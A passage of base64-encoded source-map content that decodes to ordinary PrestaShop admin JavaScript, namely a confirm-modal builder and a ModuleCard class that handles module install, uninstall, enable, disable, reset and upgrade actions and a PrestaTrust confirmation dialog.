9uID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnYnV0dG9uJyk7XG4gIG1vZGFsLmNvbmZpcm1CdXR0b24uc2V0QXR0cmlidXRlKCd0eXBlJywgJ2J1dHRvbicpO1xuICBtb2RhbC5jb25maXJtQnV0dG9uLmNsYXNzTGlzdC5hZGQoJ2J0bicsIGNvbmZpcm1CdXR0b25DbGFzcywgJ2J0bi1sZycsICdidG4tY29uZmlybS1zdWJtaXQnKTtcbiAgbW9kYWwuY29uZmlybUJ1dHRvbi5kYXRhc2V0LmRpc21pc3MgPSAnbW9kYWwnO1xuICBtb2RhbC5jb25maXJtQnV0dG9uLmlubmVySFRNTCA9IGNvbmZpcm1CdXR0b25MYWJlbDtcblxuICAvLyBDb25zdHJ1Y3RpbmcgdGhlIG1vZGFsXG4gIGlmIChjb25maXJtVGl0bGUpIHtcbiAgICBtb2RhbC5oZWFkZXIuYXBwZW5kKG1vZGFsLnRpdGxlLCBtb2RhbC5jbG9zZUljb24pO1xuICB9IGVsc2Uge1xuICAgIG1vZGFsLmhlYWRlci5hcHBlbmRDaGlsZChtb2RhbC5jbG9zZUljb24pO1xuICB9XG5cbiAgbW9kYWwuYm9keS5hcHBlbmRDaGlsZChtb2RhbC5tZXNzYWdlKTtcbiAgbW9kYWwuZm9vdGVyLmFwcGVuZChtb2RhbC5jbG9zZUJ1dHRvbiwgLi4uY3VzdG9tQnV0dG9ucywgbW9kYWwuY29uZmlybUJ1dHRvbik7XG4gIG1vZGFsLmNvbnRlbnQuYXBwZW5kKG1vZGFsLmhlYWRlciwgbW9kYWwuYm9keSwgbW9kYWwuZm9vdGVyKTtcbiAgbW9kYWwuZGlhbG9nLmFwcGVuZENoaWxkKG1vZGFsLmNvbnRlbnQpO1xuICBtb2RhbC5jb250YWluZXIuYXBwZW5kQ2hpbGQobW9kYWwuZGlhbG9nKTtcblxuICByZXR1cm4gbW9kYWw7XG59XG4iLCIvKipcbiAqIENvcHlyaWdodCBzaW5jZSAyMDA3IFByZXN0YVNob3AgU0EgYW5kIENvbnRyaWJ1dG9yc1xuICogUHJlc3RhU2hvcCBpcyBhbiBJbnRlcm5hdGlvbmFsIFJlZ2lzdGVyZWQgVHJhZGVtYXJrICYgUHJvcGVydHkgb2YgUHJlc3RhU2hvcCBTQVxuICpcbiAqIE5PVElDRSBPRiBMSUNFTlNFXG4gKlxuICogVGhpcyBzb3VyY2UgZmlsZSBpcyBzdWJqZWN0IHRvIHRoZSBPcGVuIFNvZnR3YXJlIExpY2Vuc2UgKE9TTCAzLjApXG4gKiB0aGF0IGlzIGJ1bmRsZWQgd2l0aCB0aGlzIHBhY2thZ2UgaW4gdGhlIGZpbGUgTElDRU5TRS5tZC5cbiAqIEl0IGlzIGFsc28gYXZhaWxhYmxlIHRocm91Z2ggdGhlIHdvcmxkLXdpZGUtd2ViIGF0IHRoaXMgVVJMOlxuICogaHR0cHM6Ly9vcGVuc291cmNlLm9yZy9saWNlbnNlcy9PU0wtMy4wXG4gKiBJZiB5b3UgZGlkIG5vdCByZWNlaXZlIGEgY29weSBvZiB0aGUgbGljZW5zZSBhbmQgYXJlIHVuYWJsZSB0b1xuICogb2J0YWluIGl0IHRocm91Z2ggdGhlIHdvcmxkLXdpZGUtd2ViLCBwbGVhc2Ugc2VuZCBhbiBlbWFpbFxuICogdG8gbGljZW5zZUBwcmVzdGFzaG9wLmNvbSBzbyB3ZSBjYW4gc2VuZCB5b3UgYSBjb3B5IGltbWVkaWF0ZWx5LlxuICpcbiAqIERJU0NMQUlNRVJcbiAqXG4gKiBEbyBub3QgZWRpdCBvciBhZGQgdG8gdGhpcyBmaWxlIGlmIHlvdSB3aXNoIHRvIHVwZ3JhZGUgUHJlc3RhU2hvcCB0byBuZXdlclxuICogdmVyc2lvbnMgaW4gdGhlIGZ1dHVyZS4gSWYgeW91IHdpc2ggdG8gY3VzdG9taXplIFByZXN0YVNob3AgZm9yIHlvdXJcbiAqIG5lZWRzIHBsZWFzZSByZWZlciB0byBodHRwczovL2RldmRvY3MucHJlc3Rhc2hvcC5jb20vIGZvciBtb3JlIGluZm9ybWF0aW9uLlxuICpcbiAqIEBhdXRob3IgICAgUHJlc3RhU2hvcCBTQSBhbmQgQ29udHJpYnV0b3JzIDxjb250YWN0QHByZXN0YXNob3AuY29tPlxuICogQGNvcHlyaWdodCBTaW5jZSAyMDA3IFByZXN0YVNob3AgU0EgYW5kIENvbnRyaWJ1dG9yc1xuICogQGxpY2Vuc2UgICBodHRwczovL29wZW5zb3VyY2Uub3JnL2xpY2Vuc2VzL09TTC0zLjAgT3BlbiBTb2Z0d2FyZSBMaWNlbnNlIChPU0wgMy4wKVxuICovXG5pbXBvcnQgQ29uZmlybU1vZGFsIGZyb20gJ0Bjb21wb25lbnRzL21vZGFsJztcblxuY29uc3QgeyR9ID0gd2luZG93O1xuXG5jb25zdCBCT0V2ZW50ID0ge1xuICBvbihldmVudE5hbWUsIGNhbGxiYWNrLCBjb250ZXh0KSB7XG4gICAgZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcihldmVudE5hbWUsIChldmVudCkgPT4ge1xuICAgICAgaWYgKHR5cGVvZiBjb250ZXh0ICE9PSAndW5kZWZpbmVkJykge1xuICAgICAgICBjYWxsYmFjay5jYWxsKGNvbnRleHQsIGV2ZW50KTtcbiAgICAgIH0gZWxzZSB7XG4gICAgICAgIGNhbGxiYWNrKGV2ZW50KTtcbiAgICAgIH1cbiAgICB9KTtcbiAgfSxcblxuICBlbWl0RXZlbnQoZXZlbnROYW1lLCBldmVudFR5cGUpIHtcbiAgICBjb25zdCBldmVudCA9IGRvY3VtZW50LmNyZWF0ZUV2ZW50KGV2ZW50VHlwZSk7XG4gICAgLy8gdHJ1ZSB2YWx1ZXMgc3RhbmQgZm9yOiBjYW4gYnViYmxlLCBhbmQgaXMgY2FuY2VsbGFibGVcbiAgICBldmVudC5pbml0RXZlbnQoZXZlbnROYW1lLCB0cnVlLCB0cnVlKTtcbiAgICBkb2N1bWVudC5kaXNwYXRjaEV2ZW50KGV2ZW50KTtcbiAgfSxcbn07XG5cbi8qKlxuICogQ2xhc3MgaXMgcmVzcG9uc2libGUgZm9yIGhhbmRsaW5nIE1vZHVsZSBDYXJkIGJlaGF2aW9yXG4gKlxuICogVGhpcyBpcyBhIHBvcnQgb2YgYWRtaW4tZGV2L3RoZW1lcy9kZWZhdWx0L2pzL2J1bmRsZS9tb2R1bGUvbW9kdWxlX2NhcmQuanNcbiAqL1xuZXhwb3J0IGRlZmF1bHQgY2xhc3MgTW9kdWxlQ2FyZCB7XG4gIGNvbnN0cnVjdG9yKCkge1xuICAgIC8qIFNlbGVjdG9ycyBmb3IgbW9kdWxlIGFjdGlvbiBsaW5rcyAodW5pbnN0YWxsLCByZXNldCwgZXRjLi4uKSB0byBhZGQgYSBjb25maXJtIHBvcGluICovXG4gICAgdGhpcy5tb2R1bGVBY3Rpb25NZW51TGlua1NlbGVjdG9yID0gJ2J1dHRvbi5tb2R1bGVfYWN0aW9uX21lbnVfJztcbiAgICB0aGlzLm1vZHVsZUFjdGlvbk1lbnVJbnN0YWxsTGlua1NlbGVjdG9yID0gJ2J1dHRvbi5tb2R1bGVfYWN0aW9uX21lbnVfaW5zdGFsbCc7XG4gICAgdGhpcy5tb2R1bGVBY3Rpb25NZW51RW5hYmxlTGlua1NlbGVjdG9yID0gJ2J1dHRvbi5tb2R1bGVfYWN0aW9uX21lbnVfZW5hYmxlJztcbiAgICB0aGlzLm1vZHVsZUFjdGlvbk1lbnVVbmluc3RhbGxMaW5rU2VsZWN0b3IgPSAnYnV0dG9uLm1vZHVsZV9hY3Rpb25fbWVudV91bmluc3RhbGwnO1xuICAgIHRoaXMubW9kdWxlQWN0aW9uTWVudURpc2FibGVMaW5rU2VsZWN0b3IgPSAnYnV0dG9uLm1vZHVsZV9hY3Rpb25fbWVudV9kaXNhYmxlJztcbiAgICB0aGlzLm1vZHVsZUFjdGlvbk1lbnVFbmFibGVNb2JpbGVMaW5rU2VsZWN0b3IgPSAnYnV0dG9uLm1vZHVsZV9hY3Rpb25fbWVudV9lbmFibGVfbW9iaWxlJztcbiAgICB0aGlzLm1vZHVsZUFjdGlvbk1lbnVEaXNhYmxlTW9iaWxlTGlua1NlbGVjdG9yID0gJ2J1dHRvbi5tb2R1bGVfYWN0aW9uX21lbnVfZGlzYWJsZV9tb2JpbGUnO1xuICAgIHRoaXMubW9kdWxlQWN0aW9uTWVudVJlc2V0TGlua1NlbGVjdG9yID0gJ2J1dHRvbi5tb2R1bGVfYWN0aW9uX21lbnVfcmVzZXQnO1xuICAgIHRoaXMubW9kdWxlQWN0aW9uTWVudVVwZGF0ZUxpbmtTZWxlY3RvciA9ICdidXR0b24ubW9kdWxlX2FjdGlvbl9tZW51X3VwZ3JhZGUnO1xuICAgIHRoaXMubW9kdWxlSXRlbUxpc3RTZWxlY3RvciA9ICcubW9kdWxlLWl0ZW0tbGlzdCc7XG4gICAgdGhpcy5tb2R1bGVJdGVtR3JpZFNlbGVjdG9yID0gJy5tb2R1bGUtaXRlbS1ncmlkJztcbiAgICB0aGlzLm1vZHVsZUl0ZW1BY3Rpb25zU2VsZWN0b3IgPSAnLm1vZHVsZS1hY3Rpb25zJztcblxuICAgIC8qIFNlbGVjdG9ycyBvbmx5IGZvciBtb2RhbCBidXR0b25zICovXG4gICAgdGhpcy5tb2R1bGVBY3Rpb25Nb2RhbERpc2FibGVMaW5rU2VsZWN0b3IgPSAnYS5tb2R1bGVfYWN0aW9uX21vZGFsX2Rpc2FibGUnO1xuICAgIHRoaXMubW9kdWxlQWN0aW9uTW9kYWxSZXNldExpbmtTZWxlY3RvciA9ICdhLm1vZHVsZV9hY3Rpb25fbW9kYWxfcmVzZXQnO1xuICAgIHRoaXMubW9kdWxlQWN0aW9uTW9kYWxVbmluc3RhbGxMaW5rU2VsZWN0b3IgPSAnYS5tb2R1bGVfYWN0aW9uX21vZGFsX3VuaW5zdGFsbCc7XG4gICAgdGhpcy5mb3JjZURlbGV0aW9uT3B0aW9uID0gJyNmb3JjZV9kZWxldGlvbic7XG5cbiAgICB0aGlzLmluaXRBY3Rpb25CdXR0b25zKCk7XG4gIH1cblxuICBpbml0QWN0aW9uQnV0dG9ucygpIHtcbiAgICBjb25zdCBzZWxmID0gdGhpcztcblxuICAgICQoZG9jdW1lbnQpLm9uKCdjbGljaycsIHRoaXMuZm9yY2VEZWxldGlvbk9wdGlvbiwgZnVuY3Rpb24gKCkge1xuICAgICAgY29uc3QgYnRuID0gJChcbiAgICAgICAgc2VsZi5tb2R1bGVBY3Rpb25Nb2RhbFVuaW5zdGFsbExpbmtTZWxlY3RvcixcbiAgICAgICAgJChgZGl2Lm1vZHVsZS1pdGVtLWxpc3RbZGF0YS10ZWNoLW5hbWU9JyR7JCh0aGlzKS5hdHRyKCdkYXRhLXRlY2gtbmFtZScpfSddYCksXG4gICAgICApO1xuXG4gICAgICBpZiAoJCh0aGlzKS5wcm9wKCdjaGVja2VkJykgPT09IHRydWUpIHtcbiAgICAgICAgYnRuLmF0dHIoJ2RhdGEtZGVsZXRpb24nLCAndHJ1ZScpO1xuICAgICAgfSBlbHNlIHtcbiAgICAgICAgYnRuLnJlbW92ZUF0dHIoJ2RhdGEtZGVsZXRpb24nKTtcbiAgICAgIH1cbiAgICB9KTtcblxuICAgICQoZG9jdW1lbnQpLm9uKCdjbGljaycsIHRoaXMubW9kdWxlQWN0aW9uTWVudUluc3RhbGxMaW5rU2VsZWN0b3IsIGZ1bmN0aW9uICgpIHtcbiAgICAgIGlmICgkKCcjbW9kYWwtcHJlc3RhdHJ1c3QnKS5sZW5ndGgpIHtcbiAgICAgICAgJCgnI21vZGFsLXByZXN0YXRydXN0JykubW9kYWwoJ2hpZGUnKTtcbiAgICAgIH1cblxuICAgICAgcmV0dXJuIChcbiAgICAgICAgc2VsZi5kaXNwYXRjaFByZUV2ZW50KCdpbnN0YWxsJywgdGhpcylcbiAgICAgICAgJiYgc2VsZi5jb25maXJtQWN0aW9uKCdpbnN0YWxsJywgdGhpcylcbiAgICAgICAgJiYgc2VsZi5yZXF1ZXN0VG9Db250cm9sbGVyKCdpbnN0YWxsJywgJCh0aGlzKSlcbiAgICAgICk7XG4gICAgfSk7XG5cbiAgICAkKGRvY3VtZW50KS5vbignY2xpY2snLCB0aGlzLm1vZHVsZUFjdGlvbk1lbnVFbmFibGVMaW5rU2VsZWN0b3IsIGZ1bmN0aW9uICgpIHtcbiAgICAgIHJldHVybiAoXG4gICAgICAgIHNlbGYuZGlzcGF0Y2hQcmVFdmVudCgnZW5hYmxlJywgdGhpcylcbiAgICAgICAgJiYgc2VsZi5jb25maXJtQWN0aW9uKCdlbmFibGUnLCB0aGlzKVxuICAgICAgICAmJiBzZWxmLnJlcXVlc3RUb0NvbnRyb2xsZXIoJ2VuYWJsZScsICQodGhpcykpXG4gICAgICApO1xuICAgIH0pO1xuXG4gICAgJChkb2N1bWVudCkub24oJ2NsaWNrJywgdGhpcy5tb2R1bGVBY3Rpb25NZW51VW5pbnN0YWxsTGlua1NlbGVjdG9yLCBmdW5jdGlvbiAoKSB7XG4gICAgICByZXR1cm4gKFxuICAgICAgICBzZWxmLmRpc3BhdGNoUHJlRXZlbnQoJ3VuaW5zdGFsbCcsIHRoaXMpXG4gICAgICAgICYmIHNlbGYuY29uZmlybUFjdGlvbigndW5pbnN0YWxsJywgdGhpcylcbiAgICAgICAgJiYgc2VsZi5yZXF1ZXN0VG9Db250cm9sbGVyKCd1bmluc3RhbGwnLCAkKHRoaXMpKVxuICAgICAgKTtcbiAgICB9KTtcblxuICAgICQoZG9jdW1lbnQpLm9uKCdjbGljaycsIHRoaXMubW9kdWxlQWN0aW9uTWVudURpc2FibGVMaW5rU2VsZWN0b3IsIGZ1bmN0aW9uICgpIHtcbiAgICAgIHJldHVybiAoXG4gICAgICAgIHNlbGYuZGlzcGF0Y2hQcmVFdmVudCgnZGlzYWJsZScsIHRoaXMpXG4gICAgICAgICYmIHNlbGYuY29uZmlybUFjdGlvbignZGlzYWJsZScsIHRoaXMpXG4gICAgICAgICYmIHNlbGYucmVxdWVzdFRvQ29udHJvbGxlcignZGlzYWJsZScsICQodGhpcykpXG4gICAgICApO1xuICAgIH0pO1xuXG4gICAgJChkb2N1bWVudCkub24oJ2NsaWNrJywgdGhpcy5tb2R1bGVBY3Rpb25NZW51RW5hYmxlTW9iaWxlTGlua1NlbGVjdG9yLCBmdW5jdGlvbiAoKSB7XG4gICAgICByZXR1cm4gKFxuICAgICAgICBzZWxmLmRpc3BhdGNoUHJlRXZlbnQoJ2VuYWJsZV9tb2JpbGUnLCB0aGlzKVxuICAgICAgICAmJiBzZWxmLmNvbmZpcm1BY3Rpb24oJ2VuYWJsZV9tb2JpbGUnLCB0aGlzKVxuICAgICAgICAmJiBzZWxmLnJlcXVlc3RUb0NvbnRyb2xsZXIoJ2VuYWJsZV9tb2JpbGUnLCAkKHRoaXMpKVxuICAgICAgKTtcbiAgICB9KTtcblxuICAgICQoZG9jdW1lbnQpLm9uKCdjbGljaycsIHRoaXMubW9kdWxlQWN0aW9uTWVudURpc2FibGVNb2JpbGVMaW5rU2VsZWN0b3IsIGZ1bmN0aW9uICgpIHtcbiAgICAgIHJldHVybiAoXG4gICAgICAgIHNlbGYuZGlzcGF0Y2hQcmVFdmVudCgnZGlzYWJsZV9tb2JpbGUnLCB0aGlzKVxuICAgICAgICAmJiBzZWxmLmNvbmZpcm1BY3Rpb24oJ2Rpc2FibGVfbW9iaWxlJywgdGhpcylcbiAgICAgICAgJiYgc2VsZi5yZXF1ZXN0VG9Db250cm9sbGVyKCdkaXNhYmxlX21vYmlsZScsICQodGhpcykpXG4gICAgICApO1xuICAgIH0pO1xuXG4gICAgJChkb2N1bWVudCkub24oJ2NsaWNrJywgdGhpcy5tb2R1bGVBY3Rpb25NZW51UmVzZXRMaW5rU2VsZWN0b3IsIGZ1bmN0aW9uICgpIHtcbiAgICAgIHJldHVybiAoXG4gICAgICAgIHNlbGYuZGlzcGF0Y2hQcmVFdmVudCgncmVzZXQnLCB0aGlzKVxuICAgICAgICAmJiBzZWxmLmNvbmZpcm1BY3Rpb24oJ3Jlc2V0JywgdGhpcylcbiAgICAgICAgJiYgc2VsZi5yZXF1ZXN0VG9Db250cm9sbGVyKCdyZXNldCcsICQodGhpcykpXG4gICAgICApO1xuICAgIH0pO1xuXG4gICAgJChkb2N1bWVudCkub24oJ2NsaWNrJywgdGhpcy5tb2R1bGVBY3Rpb25NZW51VXBkYXRlTGlua1NlbGVjdG9yLCBmdW5jdGlvbiAoZXZlbnQpIHtcbiAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7XG4gICAgICBjb25zdCBtb2RhbCA9ICQoYCMkeyQodGhpcykuZGF0YSgnY29uZmlybV9tb2RhbCcpfWApO1xuICAgICAgY29uc3QgaXNNYWludGVuYW5jZU1vZGUgPSB3aW5kb3cuaXNTaG9wTWFpbnRlbmFuY2U7XG5cbiAgICAgIGlmIChtb2RhbC5sZW5ndGggIT09IDEpIHtcbiAgICAgICAgLy8gTW9kYWwgYm9keSBlbGVtZW50XG4gICAgICAgIGNvbnN0IG1haW50ZW5hbmNlTGluayA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2EnKTtcbiAgICAgICAgbWFpbnRlbmFuY2VMaW5rLmNsYXNzTGlzdC5hZGQoJ2J0bicsICdidG4tcHJpbWFyeScsICdidG4tbGcnKTtcbiAgICAgICAgbWFpbnRlbmFuY2VMaW5rLnNldEF0dHJpYnV0ZSgnaHJlZicsIHdpbmRvdy5tb2R1bGVVUkxzLm1haW50ZW5hbmNlUGFnZSk7XG4gICAgICAgIG1haW50ZW5hbmNlTGluay5pbm5lckhUTUwgPSB3aW5kb3cubW9kdWxlVHJhbnNsYXRpb25zLm1vZHVsZU1vZGFsVXBkYXRlTWFpbnRlbmFuY2U7XG5cbiAgICAgICAgY29uc3QgdXBkYXRlQ29uZmlybU1vZGFsID0gbmV3IENvbmZpcm1Nb2RhbChcbiAgICAgICAgICB7XG4gICAgICAgICAgICBpZDogJ2NvbmZpcm0tbW9kdWxlLXVwZGF0ZS1tb2RhbCcsXG4gICAgICAgICAgICBjb25maXJtVGl0bGU6IHdpbmRvdy5tb2R1bGVUcmFuc2xhdGlvbnMuc2luZ2xlTW9kdWxlTW9kYWxVcGRhdGVUaXRsZSxcbiAgICAgICAgICAgIGNsb3NlQnV0dG9uTGFiZWw6IHdpbmRvdy5tb2R1bGVUcmFuc2xhdGlvbnMubW9kdWxlTW9kYWxVcGRhdGVDYW5jZWwsXG4gICAgICAgICAgICBjb25maXJtQnV0dG9uTGFiZWw6IGlzTWFpbnRlbmFuY2VNb2RlXG4gICAgICAgICAgICAgID8gd2luZG93Lm1vZHVsZVRyYW5zbGF0aW9ucy5tb2R1bGVNb2RhbFVwZGF0ZVVwZ3JhZGVcbiAgICAgICAgICAgICAgOiB3aW5kb3cubW9kdWxlVHJhbnNsYXRpb25zLnVwZ3JhZGVBbnl3YXlCdXR0b25UZXh0LFxuICAgICAgICAgICAgY29uZmlybUJ1dHRvbkNsYXNzOiBpc01haW50ZW5hbmNlTW9kZSA/ICdidG4tcHJpbWFyeScgOiAnYnRuLXNlY29uZGFyeScsXG4gICAgICAgICAgICBjb25maXJtTWVzc2FnZTogaXNNYWludGVuYW5jZU1vZGUgPyAnJyA6IHdpbmRvdy5tb2R1bGVUcmFuc2xhdGlvbnMubW9kdWxlTW9kYWxVcGRhdGVDb25maXJtTWVzc2FnZSxcbiAgICAgICAgICAgIGNsb3NhYmxlOiB0cnVlLFxuICAgICAgICAgICAgY3VzdG9tQnV0dG9uczogaXNNYWludGVuYW5jZU1vZGUgPyBbXSA6IFttYWludGVuYW5jZUxpbmtdLFxuICAgICAgICAgIH0sXG5cbiAgICAgICAgICAoKSA9PiBzZWxmLmRpc3BhdGNoUHJlRXZlbnQoJ3VwZGF0ZScsIHRoaXMpXG4gICAgICAgICAgICAmJiBzZWxmLmNvbmZpcm1BY3Rpb24oJ3VwZGF0ZScsIHRoaXMpXG4gICAgICAgICAgICAmJiBzZWxmLnJlcXVlc3RUb0NvbnRyb2xsZXIoJ3VwZGF0ZScsICQodGhpcykpLFxuICAgICAgICApO1xuXG4gICAgICAgIHVwZGF0ZUNvbmZpcm1Nb2RhbC5zaG93KCk7XG4gICAgICB9IGVsc2Uge1xuICAgICAgICByZXR1cm4gKFxuICAgICAgICAgIHNlbGYuZGlzcGF0Y2hQcmVFdmVudCgndXBkYXRlJywgdGhpcylcbiAgICAgICAgICAmJiBzZWxmLmNvbmZpcm1BY3Rpb24oJ3VwZGF0ZScsIHRoaXMpXG4gICAgICAgICAgJiYgc2VsZi5yZXF1ZXN0VG9Db250cm9sbGVyKCd1cGRhdGUnLCAkKHRoaXMpKVxuICAgICAgICApO1xuICAgICAgfVxuXG4gICAgICByZXR1cm4gZmFsc2U7XG4gICAgfSk7XG5cbiAgICAkKGRvY3VtZW50KS5vbignY2xpY2snLCB0aGlzLm1vZHVsZUFjdGlvbk1vZGFsRGlzYWJsZUxpbmtTZWxlY3RvciwgZnVuY3Rpb24gKCkge1xuICAgICAgcmV0dXJuIHNlbGYucmVxdWVzdFRvQ29udHJvbGxlcihcbiAgICAgICAgJ2Rpc2FibGUnLFxuICAgICAgICAkKFxuICAgICAgICAgIHNlbGYubW9kdWxlQWN0aW9uTWVudURpc2FibGVMaW5rU2VsZWN0b3IsXG4gICAgICAgICAgJChgZGl2Lm1vZHVsZS1pdGVtLWxpc3RbZGF0YS10ZWNoLW5hbWU9JyR7JCh0aGlzKS5hdHRyKCdkYXRhLXRlY2gtbmFtZScpfSddYCksXG4gICAgICAgICksXG4gICAgICApO1xuICAgIH0pO1xuXG4gICAgJChkb2N1bWVudCkub24oJ2NsaWNrJywgdGhpcy5tb2R1bGVBY3Rpb25Nb2RhbFJlc2V0TGlua1NlbGVjdG9yLCBmdW5jdGlvbiAoKSB7XG4gICAgICByZXR1cm4gc2VsZi5yZXF1ZXN0VG9Db250cm9sbGVyKFxuICAgICAgICAncmVzZXQnLFxuICAgICAgICAkKFxuICAgICAgICAgIHNlbGYubW9kdWxlQWN0aW9uTWVudVJlc2V0TGlua1NlbGVjdG9yLFxuICAgICAgICAgICQoYGRpdi5tb2R1bGUtaXRlbS1saXN0W2RhdGEtdGVjaC1uYW1lPSckeyQodGhpcykuYXR0cignZGF0YS10ZWNoLW5hbWUnKX0nXWApLFxuICAgICAgICApLFxuICAgICAgKTtcbiAgICB9KTtcblxuICAgICQoZG9jdW1lbnQpLm9uKCdjbGljaycsIHRoaXMubW9kdWxlQWN0aW9uTW9kYWxVbmluc3RhbGxMaW5rU2VsZWN0b3IsIChlKSA9PiB7XG4gICAgICAkKGUudGFyZ2V0KVxuICAgICAgICAucGFyZW50cygnLm1vZGFsJylcbiAgICAgICAgLm9uKCdoaWRkZW4uYnMubW9kYWwnLCAoKSA9PiBzZWxmLnJlcXVlc3RUb0NvbnRyb2xsZXIoXG4gICAgICAgICAgJ3VuaW5zdGFsbCcsXG4gICAgICAgICAgJChcbiAgICAgICAgICAgIHNlbGYubW9kdWxlQWN0aW9uTWVudVVuaW5zdGFsbExpbmtTZWxlY3RvcixcbiAgICAgICAgICAgICQoYGRpdi5tb2R1bGUtaXRlbS1saXN0W2RhdGEtdGVjaC1uYW1lPSckeyQoZS50YXJnZXQpLmF0dHIoJ2RhdGEtdGVjaC1uYW1lJyl9J11gKSxcbiAgICAgICAgICApLFxuICAgICAgICAgICQoZS50YXJnZXQpLmF0dHIoJ2RhdGEtZGVsZXRpb24nKSxcbiAgICAgICAgKSxcbiAgICAgICAgKTtcbiAgICB9KTtcbiAgfVxuXG4gIGdldE1vZHVsZUl0ZW1TZWxlY3RvcigpIHtcbiAgICBpZiAoJCh0aGlzLm1vZHVsZUl0ZW1MaXN0U2VsZWN0b3IpLmxlbmd0aCkge1xuICAgICAgcmV0dXJuIHRoaXMubW9kdWxlSXRlbUxpc3RTZWxlY3RvcjtcbiAgICB9XG5cbiAgICByZXR1cm4gdGhpcy5tb2R1bGVJdGVtR3JpZFNlbGVjdG9yO1xuICB9XG5cbiAgY29uZmlybUFjdGlvbihhY3Rpb24sIGVsZW1lbnQpIHtcbiAgICBjb25zdCBtb2RhbCA9ICQoYCMkeyQoZWxlbWVudCkuZGF0YSgnY29uZmlybV9tb2RhbCcpfWApO1xuXG4gICAgaWYgKG1vZGFsLmxlbmd0aCAhPT0gMSkge1xuICAgICAgcmV0dXJuIHRydWU7XG4gICAgfVxuXG4gICAgbW9kYWwuZmlyc3QoKS5tb2RhbCgnc2hvdycpO1xuXG4gICAgcmV0dXJuIGZhbHNlOyAvLyBkbyBub3QgYWxsb3cgYS5ocmVmIHRvIHJlbG9hZCB0aGUgcGFnZS4gVGhlIGNvbmZpcm0gbW9kYWwgZGlhbG9nIHdpbGwgZG8gaXQgYXN5bmMgaWYgbmVlZGVkLlxuICB9XG5cbiAgLyoqXG4gICAqIFVwZGF0ZSB0aGUgY29udGVudCBvZiBhIG1vZGFsIGFza2luZyBhIGNvbmZpcm1hdGlvbiBmb3IgUHJlc3RhVHJ1c3QgYW5kIG9wZW4gaXRcbiAgICpcbiAgICogQHBhcmFtIHthcnJheX0gcmVzdWx0IGNvbnRhaW5pbmcgbW9kdWxlIGRhdGFcbiAgICogQHJldHVybiB7dm9pZH1cbiAgICovXG4gIGNvbmZpcm1QcmVzdGFUcnVzdChyZXN1bHQpIHtcbiAgICBjb25zdCB0aGF0ID0gdGhpcztcbiAgICBjb25zdCBtb2RhbCA9IHRoaXMucmVwbGFjZVByZXN0YVRydXN0UGxhY2Vob2xkZXJzKHJlc3VsdCk7XG5cbiAgICBtb2RhbFxuICAgICAgLmZpbmQoJy5wc3RydXN0LWluc3RhbGwnKVxuICAgICAgLm9mZignY2xpY2snKVxuICAgICAgLm9uKCdjbGljaycsICgpID0+IHtcbiAgICAgICAgLy8gRmluZCByZWxhdGVkIGZvcm0sIHVwZGF0ZSBpdCBhbmQgc3VibWl0IGl0XG4gICAgICAgIGNvbnN0IGluc3RhbGxCdXR0b24gPSAkKFxuICAgICAgICAgIHRoYXQubW9kdWxlQWN0aW9uTWVudUluc3RhbGxMaW5rU2VsZWN0b3IsXG4gICAgICAgICAgYC5tb2R1bGUtaXRlbVtkYXRhLXRlY2gtbmFtZT1cIiR7cmVzdWx0Lm1vZHVsZS5hdHRyaWJ1dGVzLm5hbWV9XCJdYCxcbiAgICAgICAgKTtcblxuICAgICAgICBjb25zdCBmb3JtID0gaW5zdGFsbEJ1dHRvbi5wYXJlbnQoJ2Zvcm0nKTtcbiAgICAgICAgJCgnPGlucHV0PicpXG4gICAgICAgICAgLmF0dHIoe1xuICAgICAgICAgICAgdHlwZTogJ2hpZGRlbicsXG4gICAgICAgICAgICB2YWx1ZTogJzEnLFxuICAgICAgICAgICAgbmFtZTogJ2FjdGlvblBhcmFtc1tjb25maXJtUHJlc3RhVHJ1c3RdJyxcbiAgICAgICAgICB9KVxuICAgICAgICAgIC5hcHBlbmRUbyhmb3JtKTtcblxuICAgICAgICBpbnN0YWxsQnV0dG9uLmNsaWNrKCk7XG4gICAgICAgIG1vZGFsLm1vZGFsKCdoaWRlJyk7XG4gICAgICB9KTtcblxuICAgIG1vZGFsLm1vZGFsKCk7XG4gIH1cblxuICByZXBsYWNlUHJlc3RhVHJ1c3RQbGFjZWhvbGRlcnMocmVzdWx0KSB7XG4gICAgY29uc3QgbW9kYWwgPSAkKCcjbW9kYWwtcHJlc3RhdHJ1c3QnKTtcbiAgICBjb25zdCBtb2R1bGUgPSByZXN1bHQubW9kdWxlLmF0dHJpYnV0ZXM7XG5cbiAgICBpZiAocmVzdWx0LmNvbmZpcm1hdGlvbl9zdWJqZWN0ICE9PSAnUHJlc3RhVHJ1c3QnIHx8ICFtb2RhbC5sZW5ndGgpIHtcbiAgICAgIHJldHVybiBmYWxzZTtcbiAgICB9XG5cbiAgICBjb25zdCBhbGVydENsYXNzID0gbW9kdWxlLnByZXN0YXRydXN0LnN0YXR1cyA/ICdzdWNjZXNzJyA6ICd3YXJuaW5nJztcblxuICAgIGlmIChtb2R1bGUucHJlc3RhdHJ1c3QuY2hlY2tfbGlzdC5wcm9wZXJ0eSkge1xuICAgICAgbW9kYWwuZmluZCgnI3BzdHJ1c3QtYnRuLXByb3BlcnR5LW9rJykuc2hvdygpO1xuICAgICAgbW9kYWwuZmluZCgnI3BzdHJ1c3QtYnRuLXByb3BlcnR5LW5vaycpLmhpZGUoKTtcbiAgICB9IGVsc2Uge1xuICAgICAgbW9kYWwuZmluZCgnI3BzdHJ1c3QtYnRuLXByb3BlcnR5LW9rJykuaGlkZSgpO1xuICAgICAgbW9kYWwuZmluZCgnI3BzdHJ1c3QtYnRuLXByb3BlcnR5LW5vaycpLnNob3coKTtcbiAgICAgIG1vZGFsXG4gICAgICAgIC5maW5kKCcjcHN0cnVzdC1idXknKVxuICAgICAgICAuYXR0cignaHJlZicsIG1vZHVsZS51cmwpXG4gICAgICAgIC50b2dnbGUobW9kdWxlLnVybCAhPT0gbnVsbCk7XG4gICAgfVxuXG4gICAgbW9kYWwuZmluZCgnI3BzdHJ1c3QtaW1nJykuYXR0cih7c3JjOiBtb2R1bGUuaW1nLCBhbHQ6IG1vZHVsZS5uYW1lfSk7XG4gICAgbW9kYWwuZmluZCgnI3BzdHJ1c3QtbmFtZScpLnRleHQobW9kdWxlLmRpc3BsYXlOYW1lKTtcbiAgICBtb2RhbC5maW5kKCcjcHN0cnVzdC1hdXRob3InKS50ZXh0KG1vZHVsZS5hdXRob3IpO1xuIC